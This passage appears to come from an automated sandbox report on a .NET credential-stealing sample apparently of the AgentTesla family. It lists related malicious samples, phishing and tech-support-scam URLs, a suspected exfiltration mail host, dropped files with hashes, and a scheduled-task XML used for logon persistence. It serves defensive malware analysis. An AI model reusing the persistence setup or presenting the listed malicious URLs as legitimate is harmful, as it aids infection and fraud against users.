	FAR.N_2430-240009934.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	FAR.N#U00b02430-24000993.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	tems.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
104.26.13.205	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.hoangtruongphat.com	SecuriteInfo.com.Win32.PWSX-gen.18442.28659.exe	Get hash	malicious	AgentTesla	Browse	125.212.217.248
	SecuriteInfo.com.Heur.9508.19196.exe	Get hash	malicious	AgentTesla	Browse	125.212.217.248
	SecuriteInfo.com.Win32.TrojanX-gen.16521.31249.exe	Get hash	malicious	AgentTesla	Browse	125.212.217.248
	SecuriteInfo.com.Win32.PWSX-gen.8396.18973.exe	Get hash	malicious	AgentTesla	Browse	125.212.217.248
	SOA.exe	Get hash	malicious	AgentTesla	Browse	125.212.217.248
	SecuriteInfo.com.Win32.PWSX-gen.18603.7502.exe	Get hash	malicious	AgentTesla	Browse	125.212.217.248
	SecuriteInfo.com.Win32.CrypterX-gen.28316.31463.exe	Get hash	malicious	AgentTesla	Browse	125.212.217.248
	SecuriteInfo.com.Win32.CrypterX-gen.2006.1539.exe	Get hash	malicious	AgentTesla	Browse	125.212.217.248
	PNSCKHAIRPURSPARES ENQ 0782023.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	125.212.217.248
	SecuriteInfo.com.Win32.PWSX-gen.23268.16982.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	125.212.217.248
ip-api.com	SecuriteInfo.com.Win32.SuspectCrc.28876.20318.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	xnNcI6OenKJs.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	rMayNewPurchase.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rRECEIPTTRANSFE.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	charesworh.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	FAR.N_2430-240009934.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	FAR.N#U00b02430-24000993.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	tems.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
api.ipify.org	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	z1E-catalogSamples.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	PO-095325.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	172.67.74.152
	Receipt_032114005.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	eO2bqORIJb.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	avp.msi	Get hash	malicious	Unknown	Browse	104.26.12.205
	https://cvn7.sa.com/invoice.html?app=	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VIETEL-AS-APViettelGroupVN	czEunnbk7b.elf	Get hash	malicious	Mirai	Browse	27.77.90.67
	9IseFevRH6.elf	Get hash	malicious	Mirai	Browse	115.73.156.26
	UuD1zt2QpK.elf	Get hash	malicious	Mirai	Browse	27.64.175.201
	16rBksY5gH.elf	Get hash	malicious	Mirai	Browse	171.224.189.149
	xexngqLbiY.elf	Get hash	malicious	Gafgyt, Mirai	Browse	27.68.234.32
	SecuriteInfo.com.Win32.PWSX-gen.18442.28659.exe	Get hash	malicious	AgentTesla	Browse	125.212.217.248
	zfehGxWbb4.elf	Get hash	malicious	Mirai	Browse	27.65.117.218
	tL98mBWW8p.elf	Get hash	malicious	Mirai	Browse	115.74.145.217
	szBCKC8yTb.elf	Get hash	malicious	Mirai	Browse	27.68.111.143
CLOUDFLARENETUS	0OqTUkeaoD.exe	Get hash	malicious	RedLine	Browse	104.20.3.235
	https://bj8lt4fm8evwyl.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	172.66.47.24
	https://jainpokliultachor.pages.dev/	Get hash	malicious	Unknown	Browse	104.22.24.131
	https://pusha1qsn.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	104.21.53.38
	https://19apmacc8.z13.web.core.windows.net/	Get hash	malicious	Unknown	Browse	104.22.24.131
	https://loo54.z11.web.core.windows.net/werrx01USAHTML/?bcda=1-844-621-0495	Get hash	malicious	TechSupportScam	Browse	172.67.208.186
	https://support1-4ec.pages.dev/	Get hash	malicious	TechSupportScam	Browse	172.66.44.177
	https://support-bxv.pages.dev/	Get hash	malicious	TechSupportScam	Browse	172.66.44.120
	https://mitchells-place.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://tronfwo8b.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	104.21.53.38
TUT-ASUS	SecuriteInfo.com.Win32.SuspectCrc.28876.20318.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	xnNcI6OenKJs.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	rMayNewPurchase.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rRECEIPTTRANSFE.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	charesworh.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	FAR.N_2430-240009934.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	FAR.N#U00b02430-24000993.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	tems.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	0OqTUkeaoD.exe	Get hash	malicious	RedLine	Browse	104.26.13.205
	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	https://keenetownhall-my.sharepoint.com/:b:/g/personal/amanda_keenetownhall_org/ESKbqbSIMj5ElsbdsfaEg7oBgkFm5H_JqS97uaySzVhJDQ?e=KMMz4y	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	https://www.canva.com/design/DAGC4eUhMw0/cKr_ImwjL8JW0nUMNMi5QA/view?utm_content=DAGC4eUhMw0&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.26.13.205
	z1E-catalogSamples.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	rTDN001-180424_PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	PO-095325.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.26.13.205
	http://www.sushi-idea.com	Get hash	malicious	Unknown	Browse	104.26.13.205

Process:	C:\Users\user\AppData\Roaming\PUwpftrjIH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	2232
Entropy (8bit):	5.379401388151058
Encrypted:	false
SSDEEP:	48:fWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//ZmUyus:fLHxvIIwLgZ2KRHWLOuggs
MD5:	1F07DBFC960DDEA7295F1A6FD48057B1
SHA1:	05F3052BCC168B834CEA8EA48E050020C5CAD8F5
SHA-256:	72F8629C56744FE3E1E3C1B705EF6355E59E5C96B4924427EE430C9F9EF46809
SHA-512:	D94DF9A81FAF494891837FA73FECEF1D8226E18978A2EEA534409724409E13C6DACAB32E00C494FB2A140573E1C152EE407A0E070515B3802A06649690B1C491
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1vearkbo.2wo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2d33oyta.of4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bol5bhh.5mf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3wtoiv3.ezk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kl2izffn.tea.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_psj3hk1b.s0t.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rp0pvnzb.zgh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wvha4chu.ai3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp32DE.tmp

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1576
Entropy (8bit):	5.109217564624203
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaqa+xvn:cge1wYrFdOFzOzN33ODOiDdKrsuTDayv
MD5:	CF85B406A6E2DD4F18E2DD3FBFC17454
SHA1:	4CC7D4EDB035CAF070AE189A7F2E2F8CD0FE6B62
SHA-256:	91839659787A880511D54F57D3AA50E3BE5EB06144CBD7A763FE32BA63DF2756
SHA-512:	56768A9B97A87F5A4E454F610D94FDB7B436A761421276EC933B53F5ED4C6039FFF36C030AD0635D1C8E2535887DB619FCEFB11E13B69440D784E2C58D19C3FE
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp4201.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\PUwpftrjIH.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1576
Entropy (8bit):	5.109217564624203
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaqa+xvn:cge1wYrFdOFzOzN33ODOiDdKrsuTDayv
MD5:	CF85B406A6E2DD4F18E2DD3FBFC17454
SHA1:	4CC7D4EDB035CAF070AE189A7F2E2F8CD0FE6B62
SHA-256:	91839659787A880511D54F57D3AA50E3BE5EB06144CBD7A763FE32BA63DF2756
SHA-512:	56768A9B97A87F5A4E454F610D94FDB7B436A761421276EC933B53F5ED4C6039FFF36C030AD0635D1C8E2535887DB619FCEFB11E13B69440D784E2C58D19C3FE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\PUwpftrjIH.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	803328
Entropy (8bit):	7.976306047773217
Encrypted:	false
SSDEEP:	24576:xXYwIG7RaOvoOnAHRtZbsy1vBF1rG3AbHO7G:zIG7sOvoOnkFwoBLrG3AbHo
MD5:	906CB4D1D82674CA8E0C0614D34AF552
SHA1:	1C38BD8F3122BC9AAF7C2A8968C252FF2B264721
SHA-256:	6670DE035561AB5F4CD82D89A4AB969B7D8EAF1DA047782B37399D79EEB4762E
SHA-512:	6795637D769A1C0EF52A7E616B7F9F2310EC88889B8220A2D0268BED6A7B04EC0B5391355222B7AB0072C07E12EDD2ADCDCF8EEECD4A4029F5142FA3DFFE7BC6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42% Antivirus: Virustotal, Detection: 38%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...9."f.................8...........V... ...`....@.. ....................................@.................................@V..W....`............................................................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B................\|V......H...........+......7....p..............................................z.(......}.....(....o....}......0...........{............3.....(.......................0...........{......,....f.........}......}......}.......s....o....}.......}....8......{....o....}......{....}......}.............}.....{........Y}.....{....-...+H.{........{....X.{....X .;.\|.{....Xa}......}.....{....oI...:q....(....+..(........}.........(......................n..}.....{....,..{....o@.....{.....s..

C:\Users\user\AppData\Roaming\PUwpftrjIH.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.976306047773217
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
File size:	803'328 bytes
MD5:	906cb4d1d82674ca8e0c0614d34af552
SHA1:	1c38bd8f3122bc9aaf7c2a8968c252ff2b264721
SHA256:	6670de035561ab5f4cd82d89a4ab969b7d8eaf1da047782b37399d79eeb4762e
SHA512:	6795637d769a1c0ef52a7e616b7f9f2310ec88889b8220a2d0268bed6a7b04ec0b5391355222b7ab0072c07e12edd2adcdcf8eeecd4a4029f5142fa3dffe7bc6
SSDEEP:	24576:xXYwIG7RaOvoOnAHRtZbsy1vBF1rG3AbHO7G:zIG7sOvoOnkFwoBLrG3AbHo
TLSH:	5505238C3B29EC77C92E09F05A06B61453F41292F455F1EA8CDA72E266C0FE98501F9F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...9."f.................8...........V... ...`....@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4c569a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6622F139 [Fri Apr 19 22:33:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
